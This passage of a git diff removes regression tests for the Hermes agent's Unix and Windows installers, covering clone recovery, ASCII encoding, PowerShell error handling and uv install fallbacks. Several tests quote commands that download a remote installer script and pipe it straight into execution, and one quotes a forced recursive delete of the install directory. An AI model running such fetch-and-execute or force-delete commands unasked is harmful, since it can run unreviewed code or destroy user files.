"%s\\n" "$@" > "$LAUNCH_RESULT"\n', - ) - (install_dir / "hermes").write_text("# source entrypoint\n", encoding="utf-8") - _make_executable( - venv_bin / "hermes", - "#!/bin/sh\n" - f'PATH="{minimal_path}"\n' - "'''exec' \"$(dirname -- \"$(realpath -- \"$0\")\")\"/'python3' \"$0\" \"$@\"\n" - "' '''\n", - ) - - harness = "\n".join( - [ - "set -e", - 'get_command_link_dir() { printf "%s" "$COMMAND_LINK_DIR"; }', - 'get_command_link_display_dir() { printf "%s" "$COMMAND_LINK_DIR"; }', - "log_info() { :; }", - "log_success() { :; }", - _setup_path_function(), - "setup_path", - ] - ) - env = os.environ | { - "USE_VENV": "true", - "INSTALL_DIR": str(install_dir), - "DISTRO": "macos", - "COMMAND_LINK_DIR": str(command_dir), - } - subprocess.run(["/bin/bash", "-c", harness], env=env, check=True) - - completed = subprocess.run( - [command_dir / "hermes", "--version"], - env=os.environ | {"LAUNCH_RESULT": str(result)}, - text=True, - capture_output=True, - ) - - assert completed.returncode == 0, completed.stderr - assert result.read_text(encoding="utf-8").splitlines() == [ - str(install_dir / "hermes"), - "--version", - ] diff --git a/tests/test_install_no_initial_commit.py b/tests/test_install_no_initial_commit.py deleted file mode 100644 index 321ddd0b40..0000000000 --- a/tests/test_install_no_initial_commit.py +++ /dev/null @@ -1,136 +0,0 @@ -"""Regression for #40998: installer fails on an interrupted prior clone. - -A previous clone that died before its first commit leaves ``$INSTALL_DIR/.git`` -present but with no resolvable ``HEAD``. ``git rev-parse --is-inside-work-tree`` -and ``git status`` both still succeed there, so the installer treated it as a -valid checkout and tried to *update* it -- but ``git stash``/``git checkout`` -abort with "You do not have the initial commit yet", failing the install at the -"Cloning Hermes repository" stage. - -Both installers must instead treat a commit-less checkout as broken and -re-clone fresh. -""" - -from __future__ import annotations - -import re -import shlex -import shutil -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - -pytestmark = pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) - - -def _git(cwd: Path, *args: str) -> None: - subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", *args], - cwd=cwd, - check=True, - capture_output=True, - ) - - -def _extract_no_commit_guard() -> str: - """Pull the clone_repo() guard that drops a commit-less checkout.""" - text = INSTALL_SH.read_text() - m = re.search( - r'if \[ -d "\$INSTALL_DIR/\.git" \] && ! git -C "\$INSTALL_DIR" ' - r"rev-parse --verify HEAD.*?\n fi", - text, - re.DOTALL, - ) - assert m is not None, "no-commit guard not found in install.sh clone_repo()" - return m.group(0) - - -def _run_guard(install_dir: Path) -> None: - block = _extract_no_commit_guard() - script = ( - "log_warn() { echo \"WARN: $*\"; }\n" - f"INSTALL_DIR={shlex.quote(str(install_dir))}\n" - f"{block}\n" - ) - res = subprocess.run(["bash", "-c", script], capture_output=True, text=True) - assert res.returncode == 0, res.stderr - - -def test_install_sh_guard_moves_commitless_checkout_aside(tmp_path: Path) -> None: - install_dir = tmp_path / "hermes-agent" - install_dir.mkdir() - _git(install_dir, "init") - (install_dir / "leftover.txt").write_text("partial download") # untracked - - # Sanity: this is exactly the state that breaks `git stash`. - head = subprocess.run( - ["git", "-C", str(install_dir), "rev-parse", "--verify", "HEAD"], - capture_output=True, - ) - assert head.returncode != 0 - - _run_guard(install_dir) - # The original path is cleared so a fresh clone can proceed, but the - # content is preserved in a backup (never deleted -- review feedback). - assert not install_dir.exists(), "commit-less checkout should be moved aside" - backups = list(install_dir.parent.glob(install_dir.name + ".broken-*")) - assert len(backups) == 1, "broken checkout should be moved to one backup dir" - assert (backups[0] / "leftover.txt").read_text() == "partial download" - - -def test_install_sh_guard_keeps_repo_with_commits(tmp_path: Path) -> None: - install_dir = tmp_path / "hermes-agent" - install_dir.mkdir() - _git(install_dir, "init") - (install_dir / "f.txt").write_text("real content") - _git(install_dir, "add", "f.txt") - _git(install_dir, "commit", "-m", "init") - - _run_guard(install_dir) - assert install_dir.exists() - assert (install_dir / "f.txt").exists(), "a real checkout must be left intact" - assert not list(install_dir.parent.glob(install_dir.name + ".broken-*")), ( - "a healthy checkout must not be moved aside" - ) - - -def test_install_sh_guard_ignores_non_repo_dir(tmp_path: Path) -> None: - install_dir = tmp_path / "hermes-agent" - install_dir.mkdir() - (install_dir / "f.txt").write_text("not a repo") - - _run_guard(install_dir) - # No .git → not our concern; the existing "not a git repository" branch - # still handles it. The guard must leave it untouched. - assert install_dir.exists() - assert (install_dir / "f.txt").exists() - - -def test_install_ps1_validity_requires_initial_commit() -> None: - """The PowerShell repo-validity gate must also require a resolvable HEAD.""" - text = INSTALL_PS1.read_text() - assert "rev-parse --verify HEAD" in text, ( - "install.ps1 must probe for an initial commit (#40998)" - ) - # Contract: $repoValid is only set when the HEAD probe succeeded too. - assert re.search( - r"if \(\$revParseOk -and \$statusOk -and \$hasCommit\) \{", - text, - ), "repo validity must be gated on $hasCommit, not just rev-parse + status" - # Cleanup must be non-destructive: move the broken checkout aside, never - # `Remove-Item -Recurse -Force` it (review feedback on #40998). - assert "Move-Item -LiteralPath $InstallDir" in text, ( - "install.ps1 must move an invalid checkout aside, not delete it" - ) - assert "Remove-Item -Recurse -Force $InstallDir -ErrorAction Stop" not in text, ( - "the destructive wipe of an existing install dir must be gone " - "(transient cleanup of a just-failed clone is fine)" - ) diff --git a/tests/test_install_ps1_ascii_only.py b/tests/test_install_ps1_ascii_only.py deleted file mode 100644 index 71638620c2..0000000000 --- a/tests/test_install_ps1_ascii_only.py +++ /dev/null @@ -1,55 +0,0 @@ -"""Regression: install.ps1 must stay pure ASCII. - -Issues #66994 / #67000 reported the Windows GUI installer (Hermes-Setup.exe) -crashing before it did anything, with a cascade of PowerShell parser errors at -lines 1619 / 1770 ("Missing argument in parameter list", "A 'using' statement -must appear before any other statements in a script"). - -Root cause: ``scripts/install.ps1`` has no UTF-8 BOM, and a commit added two -non-ASCII characters *inside double-quoted string literals* (a bullet and an -em-dash). Windows PowerShell 5.1 -- which the bootstrap runs the cached script -under -- reads a BOM-less ``.ps1`` in the system ANSI code page (e.g. CP1252), -not UTF-8. The em-dash's UTF-8 tail byte (0x94) decodes to a "smart" close-quote -(U+201D), which the PowerShell tokenizer treats as a string delimiter. That -prematurely closes the string and desyncs the parser for the rest of the file, -surfacing as unrelated syntax errors far downstream. - -Non-ASCII bytes inside ``#`` comments are harmless (the tokenizer skips a -comment to end-of-line regardless of what it contains), which is why the file -carried em-dashes in comments for months without breaking -- only a non-ASCII -byte in *code* (a string literal) triggers the desync. - -This test is source-level because Linux CI cannot execute the PowerShell -installer. Keeping the whole file ASCII-only is the transport-independent -invariant: pure ASCII cannot be misdecoded under any code page, BOM or not, so -the bug class cannot recur -- in a comment or a string. -""" - -from __future__ import annotations - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def test_install_ps1_is_pure_ascii() -> None: - raw = INSTALL_PS1.read_bytes() - - offenders = [] - line_no = 1 - for byte in raw: - if byte == 0x0A: - line_no += 1 - elif byte >= 0x80: - offenders.append(line_no) - - assert not offenders, ( - "scripts/install.ps1 must be pure ASCII so Windows PowerShell 5.1 " - "(which reads a BOM-less .ps1 in the system ANSI code page, not UTF-8) " - "cannot misdecode a byte into a stray quote and desync the parser " - "(issues #66994 / #67000). Non-ASCII bytes found on line(s): " - f"{sorted(set(offenders))}. Use ASCII equivalents (em-dash -> '--', " - "bullet -> '-')." - ) diff --git a/tests/test_install_ps1_browser_install.py b/tests/test_install_ps1_browser_install.py deleted file mode 100644 index 0a6b9b556a..0000000000 --- a/tests/test_install_ps1_browser_install.py +++ /dev/null @@ -1,72 +0,0 @@ -"""Regression test for install.ps1 browser setup (PR #44772 review). - -agent-browser resolves lazily via npx everywhere else in the system -(tools/browser_tool.py::_find_agent_browser); Install-AgentBrowser was the -last place that still eagerly npm-installed a second, separately -version-pinned copy of it. Removed: agent-browser acquisition now happens -only via `hermes update`'s npx cache warm or an actual browser-tool call's -lazy npx resolution. - -Linux CI cannot execute the PowerShell installer, so verification here is -source-text-level only, matching tests/test_install_sh_browser_install.py -and tests/test_install_ps1_ascii_only.py. -""" - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def _extract_function_body(source: str, name: str) -> str: - m = re.search( - rf"^function {re.escape(name)} \{{.*?^\}}", source, re.MULTILINE | re.DOTALL - ) - assert m, f"could not extract function {name} from install.ps1" - return m.group(0) - - -def test_install_agent_browser_no_longer_npm_installs_agent_browser() -> None: - body = _extract_function_body(INSTALL_PS1.read_text(), "Install-AgentBrowser") - - assert "agent-browser@" not in body - assert "Installing Chromium via agent-browser install" not in body - # camofox is unrelated to this change and must still be installed here. - assert "@askjo/camofox-browser@^1.5.2" in body - # System-browser detection is still cheap/valuable without agent-browser. - assert "Find-SystemBrowser" in body - assert "Write-BrowserEnv" in body - - -def test_install_agent_browser_drops_unused_skip_chromium_param() -> None: - """$SkipChromium only existed to gate the now-removed Chromium-download - branch; grep confirms it's never passed at the one real call site, so a - lingering param would be dead code implying a control path that no - longer exists.""" - body = _extract_function_body(INSTALL_PS1.read_text(), "Install-AgentBrowser") - - assert "SkipChromium" not in body - - # And the one real call site must not pass it either. - text = INSTALL_PS1.read_text() - call_site = re.search(r"^\s*Install-AgentBrowser.*$", text, re.MULTILINE) - assert call_site, "could not find Install-AgentBrowser call site" - assert "SkipChromium" not in call_site.group(0) - - -def test_install_agent_browser_still_ignore_scripts_hardened() -> None: - """The removal of agent-browser must not have also dropped the - supply-chain hardening that still applies to the remaining camofox - install.""" - body = _extract_function_body(INSTALL_PS1.read_text(), "Install-AgentBrowser") - - assert "--ignore-scripts" in body - - -def test_install_agent_browser_no_longer_references_agent_browser_cmd_shim() -> None: - """No dangling reference to the agent-browser.cmd shim should remain - now that this function never installs it.""" - body = _extract_function_body(INSTALL_PS1.read_text(), "Install-AgentBrowser") - - assert "agent-browser.cmd" not in body diff --git a/tests/test_install_ps1_managed_node_swap.py b/tests/test_install_ps1_managed_node_swap.py deleted file mode 100644 index 7ab389a95c..0000000000 --- a/tests/test_install_ps1_managed_node_swap.py +++ /dev/null @@ -1,79 +0,0 @@ -"""Regression: the Test-Node managed-Node stage-and-swap must stay same-directory. - -Review concern on #81500: ``Rename-Item`` rejects a path in ``-NewName`` -- -with one carve-out. PowerShell's FileSystemProvider strips the directory and -keeps the leaf when the ``-NewName`` path shares the directory of ``-Path`` -(``FileSystemProvider.RenameItem``: ``Path.GetDirectoryName(path) == -Path.GetDirectoryName(newName)`` -> ``newName = Path.GetFileName(newName)``); -only a path that *differs in directory* throws "represents a path or device -name". The official docs state the same exception ("you can't supply a path -for the value of the NewName parameter, unless the path is identical to the -path specified in the Path parameter"). - -The swap in ``Test-Node`` relies on exactly that carve-out: it renames -between ``$HermesHome\node`` and sibling ``node.new-*`` / ``node.old-*`` -paths (same directory, same volume -- atomic rename). This test pins the -invariant so a future refactor cannot silently introduce a cross-directory -rename, which would throw on every Windows install and read as a false -"in use" deferral. - -Source-level because Linux CI cannot execute the Windows installer (same -rationale as the other ``tests/test_install_ps1_*.py`` probes). -""" - -from __future__ import annotations - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def _swap_block() -> str: - text = INSTALL_PS1.read_text(encoding="utf-8") - start = text.index("# Rename-swap instead of delete-then-move:") - end = text.index("# Session PATH so the rest of this run sees node/npm.") - return text[start:end] - - -def test_managed_node_swap_defines_staged_and_backup_as_siblings() -> None: - swap = _swap_block() - # $staged / $backup must be siblings of the live tree -- that is what - # makes every Rename-Item -NewName below a same-directory path. - assert re.search(r'\$staged\s*=\s*"\$HermesHome\\node\.new-\$stamp"', swap), ( - "$staged must be defined as a sibling of the live tree " - '("$HermesHome\\node.new-$stamp")' - ) - assert re.search(r'\$backup\s*=\s*"\$HermesHome\\node\.old-\$stamp"', swap), ( - "$backup must be defined as a sibling of the live tree " - '("$HermesHome\\node.old-$stamp")' - ) - - -def test_managed_node_swap_renames_stay_within_hermes_home() -> None: - swap = _swap_block() - - renames = re.findall( - r"Rename-Item\s+(\S+)\s+(\S+)\s+-ErrorAction", swap - ) - assert len(renames) == 4, ( - f"expected 4 Rename-Item calls in the swap block, found {len(renames)}" - ) - # -NewName accepts a path only when it shares the directory of -Path. - # $staged / $backup are pinned to same-directory siblings by the test - # above, so every call is a same-directory rename. Pin the actual swap - # state machine too: live tree aside to $backup, staged tree into - # place, and $backup restored on the rollback path. A cross-directory - # path (e.g. "$HermesHome\sub\node") or a swapped direction must fail. - allowed_pairs = { - ('"$HermesHome\\node"', "$backup"), # live tree aside - ("$staged", '"$HermesHome\\node"'), # staged into place (existing + fresh) - ("$backup", '"$HermesHome\\node"'), # rollback restore - } - for src, dst in renames: - assert (src, dst) in allowed_pairs, ( - f"Rename-Item {src} {dst}: not one of the expected swap " - "transitions (live->backup, staged->live, backup->live rollback) " - "-- Rename-Item rejects paths that differ in directory from -Path" - ) diff --git a/tests/test_install_ps1_native_stderr_eap.py b/tests/test_install_ps1_native_stderr_eap.py deleted file mode 100644 index de99bf2290..0000000000 --- a/tests/test_install_ps1_native_stderr_eap.py +++ /dev/null @@ -1,94 +0,0 @@ -"""Regression tests for #48352: Windows PowerShell 5.1 native stderr. - -PowerShell 5.1 turns stderr from native commands into ``NativeCommandError`` -records when ``$ErrorActionPreference = "Stop"``. ``scripts/install.ps1`` has a -few git/uv calls where stderr can be normal progress output, so those calls must -run with EAP temporarily relaxed and then inspect ``$LASTEXITCODE``. -""" - -from __future__ import annotations - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def _install_ps1() -> str: - return INSTALL_PS1.read_text(encoding="utf-8") - - -def _assert_relaxed_call(text: str, command_pattern: str) -> None: - helper_block_pattern = ( - r"Invoke-NativeWithRelaxedErrorAction\s*\{[^}]*" - + command_pattern - + r"[^}]*\}" - ) - inline_pattern = ( - r"\$ErrorActionPreference\s*=\s*\"Continue\"[\s\S]{0,900}?" - + command_pattern - ) - assert re.search(helper_block_pattern, text) or re.search(inline_pattern, text), ( - f"install.ps1 must relax ErrorActionPreference around {command_pattern}" - ) - - -def test_repository_stage_relieves_eap_for_ssh_and_https_git_clone() -> None: - text = _install_ps1() - assert "function Invoke-NativeWithRelaxedErrorAction" in text - _assert_relaxed_call( - text, - r"git -c windows\.appendAtomically=false clone --depth 1 --branch \$Branch \$RepoUrlSsh \$InstallDir", - ) - _assert_relaxed_call( - text, - r"git -c windows\.appendAtomically=false clone --depth 1 --branch \$Branch \$RepoUrlHttps \$InstallDir", - ) - - -def test_uv_venv_and_dependency_installs_relax_eap() -> None: - text = _install_ps1() - _assert_relaxed_call(text, r"& \$UvCmd venv venv --python \$PythonVersion") - _assert_relaxed_call(text, r"& \$UvCmd sync --extra all --locked") - _assert_relaxed_call(text, r"& \$UvCmd pip install -e \$tier\.Spec") - - -def test_uv_venv_failure_is_not_swallowed_after_eap_relax() -> None: - """Relaxing EAP must not let a genuine `uv venv` failure pass as success. - - Once EAP is relaxed, a real non-zero `uv venv` exit no longer aborts on its - own, so install.ps1 must capture $LASTEXITCODE right after the call and fail - fast — otherwise the `venv` stage falsely reports success (Invoke-Stage emits - ok=true) when no venv was created. Regression guard for the gap caught while - reviewing #48372 (the explicit check originally proposed in #48463). - """ - text = _install_ps1() - # The uv-venv invocation, then an exit-code capture, then a throw — all - # within a small window after the relaxed call. - guard = re.search( - r"& \$UvCmd venv venv --python \$PythonVersion[\s\S]{0,400}?" - r"\$LASTEXITCODE[\s\S]{0,200}?" - r"-ne 0[\s\S]{0,200}?throw", - text, - ) - assert guard is not None, ( - "install.ps1 must capture uv venv's exit code and throw on failure after " - "relaxing ErrorActionPreference, so a genuine venv-creation failure isn't " - "reported as a successful stage" - ) - - -def test_native_eap_helper_always_restores_previous_preference() -> None: - text = _install_ps1() - m = re.search( - r"function Invoke-NativeWithRelaxedErrorAction \{(?P[\s\S]*?)^\}", - text, - re.MULTILINE, - ) - assert m is not None, "expected a shared helper for NativeCommandError-safe calls" - body = m.group("body") - assert "$prevEAP = $ErrorActionPreference" in body - assert '$ErrorActionPreference = "Continue"' in body - assert "finally" in body - assert "$ErrorActionPreference = $prevEAP" in body diff --git a/tests/test_install_ps1_node_path_for_npm.py b/tests/test_install_ps1_node_path_for_npm.py deleted file mode 100644 index 9f3a6cb432..0000000000 --- a/tests/test_install_ps1_node_path_for_npm.py +++ /dev/null @@ -1,43 +0,0 @@ -"""Regression tests for #48130: Windows npm lifecycle scripts need node on PATH. - -The desktop installer can resolve ``npm.cmd`` while postinstall hooks fail with -``'node' is not recognized`` because child ``cmd.exe`` processes do not inherit -a PATH that includes ``node.exe``'s directory. -""" - -from __future__ import annotations - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def _install_ps1() -> str: - return INSTALL_PS1.read_text(encoding="utf-8") - - -def test_install_ps1_defines_ensure_node_exe_on_path_helper() -> None: - text = _install_ps1() - assert "function Ensure-NodeExeOnPath" in text - assert re.search( - r"\$env:Path\s*=\s*\"\$nodeExeDir;\$env:Path\"", - text, - ), "Ensure-NodeExeOnPath must prepend node.exe's directory to PATH" - - -def test_test_node_prepends_node_dir_before_success() -> None: - text = _install_ps1() - assert re.search( - r"if \(Test-NodeVersionOk \$version\) \{[\s\S]{0,200}?Ensure-NodeExeOnPath", - text, - ), "Test-Node must call Ensure-NodeExeOnPath when a system Node passes the version floor" - - -def test_install_node_deps_prepends_node_dir_before_npm() -> None: - text = _install_ps1() - assert re.search( - r"function Install-NodeDeps \{[\s\S]{0,900}?Ensure-NodeExeOnPath[\s\S]{0,900}?Resolve npm explicitly", - text, - ), "Install-NodeDeps must call Ensure-NodeExeOnPath before invoking npm" diff --git a/tests/test_install_ps1_python_fallback_venv.py b/tests/test_install_ps1_python_fallback_venv.py deleted file mode 100644 index 91c2286942..0000000000 --- a/tests/test_install_ps1_python_fallback_venv.py +++ /dev/null @@ -1,113 +0,0 @@ -"""Regression: the Windows installer must honor its Python fallback at venv time. - -A user on Windows 11 reported (#50769) that the installer correctly detected a -Python 3.12 fallback when 3.11 was absent:: - - [OK] Found fallback: Python 3.12.8 - ... - -> Creating virtual environment with Python 3.11... - -and then failed with ``Failed to create virtual environment (uv venv exited -with 2)``. - -Root cause: ``Test-Python`` records the fallback via an in-memory -``$script:PythonVersion = $fallbackVer`` mutation, but under Hermes-Setup.exe -each ``-Stage NAME`` runs in its *own* fresh ``powershell.exe`` process. The -``venv`` stage therefore starts with ``$PythonVersion`` back at its ``"3.11"`` -default, so ``uv venv venv --python 3.11`` runs on a machine that has no 3.11. - -The fix re-resolves the interpreter inside ``Install-Venv`` (via the -cross-process-safe ``Resolve-AvailablePythonVersion`` helper) before creating -the venv, so the venv stage uses whatever interpreter is actually present. -These tests lock that contract at the source level (the script only runs on -Windows, so there's no runner to execute it on Linux CI). -""" - -import re -from pathlib import Path - -import pytest - -_INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -@pytest.fixture(scope="module") -def source() -> str: - return _INSTALL_PS1.read_text(encoding="utf-8") - - -def _function_body(source: str, name: str) -> str: - """Return the text of a PowerShell ``function { ... }`` block.""" - start = source.index(f"function {name}") - brace = source.index("{", start) - depth = 0 - for i in range(brace, len(source)): - if source[i] == "{": - depth += 1 - elif source[i] == "}": - depth -= 1 - if depth == 0: - return source[brace : i + 1] - raise AssertionError(f"unterminated function body for {name}") - - -def test_resolver_helper_is_defined(source: str): - """A cross-process-safe Python-version resolver must exist.""" - assert "function Resolve-AvailablePythonVersion" in source, ( - "expected a Resolve-AvailablePythonVersion helper that re-resolves the " - "interpreter independently of the in-memory $script:PythonVersion mutation" - ) - - -def test_install_venv_reresolves_before_creating_venv(source: str): - """Install-Venv must re-resolve the interpreter BEFORE `uv venv`. - - Otherwise the venv stage's fresh process trusts the stale "3.11" default - and fails on machines where only the fallback (e.g. 3.12) is installed. - """ - body = _function_body(source, "Install-Venv") - resolve_at = body.find("Resolve-AvailablePythonVersion") - assert resolve_at != -1, ( - "Install-Venv must call Resolve-AvailablePythonVersion so the venv " - "stage doesn't trust the stale $PythonVersion default across processes" - ) - create_at = body.find("Creating virtual environment with Python") - assert create_at != -1, "expected the venv-creation log line in Install-Venv" - assert resolve_at < create_at, ( - "the interpreter must be re-resolved BEFORE the 'Creating virtual " - "environment' step (and before `uv venv` runs)" - ) - - -def test_fallback_list_is_single_source_of_truth(source: str): - """The fallback versions live in one shared constant, used by both paths. - - A drifting second copy of the list is how detection and venv creation - disagree in the first place. - """ - assert re.search(r"\$PythonFallbackVersions\s*=", source), ( - "expected a shared $PythonFallbackVersions constant" - ) - # Test-Python's fallback loop must iterate the shared constant, not an - # inline literal list. - test_python = _function_body(source, "Test-Python") - assert "foreach ($fallbackVer in $PythonFallbackVersions)" in test_python, ( - "Test-Python must iterate the shared $PythonFallbackVersions constant" - ) - # The resolver must seed its candidate list from the same constant. - resolver = _function_body(source, "Resolve-AvailablePythonVersion") - assert "$PythonFallbackVersions" in resolver, ( - "Resolve-AvailablePythonVersion must reuse the shared fallback constant" - ) - - -def test_resolver_prefers_requested_version_then_fallbacks(source: str): - """The resolver tries the requested version first, then the fallbacks.""" - resolver = _function_body(source, "Resolve-AvailablePythonVersion") - assert "@($PythonVersion) + $PythonFallbackVersions" in resolver, ( - "resolver candidate order must be: requested $PythonVersion first, " - "then the shared fallbacks" - ) - assert "uv" in resolver and "python find" in resolver, ( - "resolver must probe availability via `uv python find`" - ) diff --git a/tests/test_install_ps1_resolver_strictmode.py b/tests/test_install_ps1_resolver_strictmode.py deleted file mode 100644 index dbdf921c7f..0000000000 --- a/tests/test_install_ps1_resolver_strictmode.py +++ /dev/null @@ -1,71 +0,0 @@ -"""Regression: the ResolvedPathReport must not read an unset resolver. - -Issue #93017: fresh Windows installs died at the ``$script:ResolvedPathReport`` -block with ``The variable '$script:LastResolver' cannot be retrieved because -it has not been set`` — before any install stage ran. The mechanism: -``ConvertTo-LongPath`` short-circuits at the top for ordinary long paths -(``-notmatch '~\\d'`` returns early, per the comment "skip every resolver for -ordinary long paths, which is the overwhelmingly common case"), so -``$script:LastResolver`` is only ever assigned when a 8.3 short path actually -needs expansion. The report block read it unconditionally, which is fatal in -a ``Set-StrictMode`` session (the reporter hit it through three different -invocation styles, i.e. their host/session enables strict mode). - -The fix initializes ``$script:LastResolver = 'none'`` at script scope before -``Set-LongProfileEnvVars`` can run any resolver — ``'none'`` being the -resolver's own value for "nothing ran". - -install.ps1 only runs on Windows, so these tests lock the contract at the -source-text level (same style as test_install_ps1_uv_install_fallback.py). -""" - -from __future__ import annotations - -import re -from pathlib import Path - -_INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -def _ps1() -> str: - return _INSTALL_PS1.read_text(encoding="utf-8") - - -def test_last_resolver_initialized_at_script_scope(): - source = _ps1() - match = re.search(r"^\$script:LastResolver = 'none'\s*$", source, re.MULTILINE) - assert match is not None, ( - "$script:LastResolver must be initialized at script scope ('none') — " - "ConvertTo-LongPath only assigns it when a short path needs expanding, " - "so an ordinary long profile leaves it unset (#93017)" - ) - - -def test_initialization_precedes_resolver_run_and_report_read(): - source = _ps1() - init = re.search(r"^\$script:LastResolver = 'none'\s*$", source, re.MULTILINE) - run = re.search(r"^\$script:NormalizedProfilePaths = Set-LongProfileEnvVars", source, re.MULTILINE) - read = re.search(r"^\s+resolver\s+= \$script:LastResolver\s*$", source, re.MULTILINE) - assert init and run and read, "init / Set-LongProfileEnvVars / report read must all exist" - assert init.start() < run.start() < read.start(), ( - "initialization must come before Set-LongProfileEnvVars can invoke a " - "resolver, and before the ResolvedPathReport reads the variable" - ) - - -def test_convert_to_long_path_still_short_circuits_before_assigning(): - """Pin the mechanism that leaves the variable unset on normal paths. - - The early return for paths without an 8.3 alias is what makes the - initialization load-bearing: if someone removes the short-circuit the - resolver always assigns, but the guard is a deliberate performance - choice (skip Add-Type for the overwhelmingly common case) and must - stay — so the init must stay too. - """ - source = _ps1() - start = source.index("function ConvertTo-LongPath") - body = source[start : start + 2000] - assert re.search(r"-notmatch '~\\d'", body), ( - "ConvertTo-LongPath must keep its ordinary-long-path short-circuit " - "(the reason $script:LastResolver can be unset without an init)" - ) diff --git a/tests/test_install_ps1_uv_install_fallback.py b/tests/test_install_ps1_uv_install_fallback.py deleted file mode 100644 index 0871fd94d1..0000000000 --- a/tests/test_install_ps1_uv_install_fallback.py +++ /dev/null @@ -1,130 +0,0 @@ -"""Regression: Install-Uv must surface installer errors and have fallbacks. - -Issue #69216: Windows installs died with only the generic message -``uv installed but not found at ...\\bin\\uv.exe``. Two root causes: - -1. ``Install-Uv`` piped the astral installer's entire output straight into - ``Out-Null`` (``2>&1 | Out-Null``), so any real failure -- download error, - corporate proxy block, AV quarantine, permissions -- was swallowed and - the user only ever saw the generic post-condition failure (first - identified in #69366). -2. There was exactly one install source, ``astral.sh``. Corporate proxies - commonly block astral.sh while the byte-identical installer published at - GitHub releases downloads fine (diagnosed by @gakugaku on #69216). - -The fix installs a three-rung ladder inside ``Install-Uv``: - -- Rung 1: astral.sh installer, output captured via ``Tee-Object``. -- Rung 2: GitHub releases installer mirror, same ``UV_INSTALL_DIR``. -- Rung 3: salvage an existing ``uv.exe`` (``Get-Command uv`` or - ``%USERPROFILE%\\.local\\bin\\uv.exe``) by copying it into - ``$HermesHome\\bin\\uv.exe`` so the managed-first invariant holds. - -Only after all three rungs fail does it error out -- and then it prints the -tail of the captured installer output so the real cause reaches the user. - -install.ps1 only runs on Windows, so these tests lock the contract at the -source-text level (same style as test_install_ps1_uv_powershell_host.py). -""" - -import re -from pathlib import Path - -import pytest - -_INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - -_GITHUB_INSTALLER_URL = ( - "https://github.com/astral-sh/uv/releases/latest/download/uv-installer.ps1" -) - - -@pytest.fixture(scope="module") -def source() -> str: - return _INSTALL_PS1.read_text(encoding="utf-8") - - -def _install_uv_body(source: str) -> str: - """Extract the text of Install-Uv up to the next top-level function.""" - start = source.index("function Install-Uv") - tail = source[start + 1 :] - match = re.search(r"^function ", tail, flags=re.MULTILINE) - end = start + 1 + (match.start() if match else len(tail)) - return source[start:end] - - -def test_astral_installer_output_not_swallowed_by_out_null(source: str): - """Regression pin for the suppression bug (#69366 / #69216). - - The astral invocation must not discard the installer's merged output - stream; a failed download/AV block has to reach the user. - """ - forbidden = 'irm https://astral.sh/uv/install.ps1 | iex" 2>&1 | Out-Null' - assert forbidden not in source, ( - "Install-Uv pipes the astral uv installer's output straight to " - "Out-Null again -- failures become the generic 'uv installed but " - "not found' message. Capture the output (e.g. Tee-Object) instead." - ) - - -def test_astral_installer_output_is_captured(source: str): - body = _install_uv_body(source) - astral_lines = [ - ln - for ln in body.splitlines() - if "irm https://astral.sh/uv/install.ps1 | iex" in ln - ] - assert astral_lines, "astral uv installer invocation not found in Install-Uv" - for ln in astral_lines: - assert "Tee-Object" in ln, ( - "astral uv installer output must be captured (Tee-Object) so the " - f"failure path can show it to the user, got: {ln.strip()!r}" - ) - - -def test_github_releases_fallback_installer_present(source: str): - """Rung 2: the GitHub releases mirror of the installer must be tried.""" - body = _install_uv_body(source) - assert _GITHUB_INSTALLER_URL in body, ( - "Install-Uv must fall back to the GitHub releases uv installer " - f"({_GITHUB_INSTALLER_URL}) when astral.sh is blocked " - "(corporate proxies, #69216)." - ) - fallback_lines = [ln for ln in body.splitlines() if _GITHUB_INSTALLER_URL in ln and "irm " in ln] - for ln in fallback_lines: - stripped = ln.strip() - assert stripped.startswith("& $"), ( - "GitHub fallback installer must be invoked via the resolved " - f"PowerShell host variable (`& $...`), got: {stripped!r}" - ) - assert "Tee-Object" in ln, ( - f"GitHub fallback installer output must be captured too: {stripped!r}" - ) - - -def test_existing_uv_salvage_rung_present(source: str): - """Rung 3: probe PATH and the astral default dir, copy into managed bin.""" - body = _install_uv_body(source) - assert "Get-Command uv" in body, ( - "Install-Uv must probe for an existing uv on PATH (Get-Command uv) " - "before failing." - ) - assert '".local\\bin\\uv.exe"' in body and "$env:USERPROFILE" in body, ( - "Install-Uv must probe the astral default install location " - "(%USERPROFILE%\\.local\\bin\\uv.exe)." - ) - assert "Copy-Item" in body and "$managedUv" in body, ( - "A salvaged uv.exe must be copied into the managed location " - "($HermesHome\\bin\\uv.exe) so managed-first resolution holds." - ) - - -def test_failure_path_keeps_manual_install_pointer_and_shows_output(source: str): - body = _install_uv_body(source) - assert "https://docs.astral.sh/uv/getting-started/installation/" in body, ( - "the manual-install pointer must survive in the failure path" - ) - assert "$installerOutput" in body and "Select-Object -Last" in body, ( - "the failure path must print the tail of the captured installer " - "output so the real error reaches the user" - ) diff --git a/tests/test_install_ps1_uv_powershell_host.py b/tests/test_install_ps1_uv_powershell_host.py deleted file mode 100644 index ea442ce484..0000000000 --- a/tests/test_install_ps1_uv_powershell_host.py +++ /dev/null @@ -1,77 +0,0 @@ -"""Regression: the Windows installer must not spawn a bare ``powershell``. - -A user on Windows reported the installer getting stuck; running -``irm https://hermes-agent.nousresearch.com/install.ps1 | iex`` failed at the -uv step with:: - - [X] Failed to install uv: The term 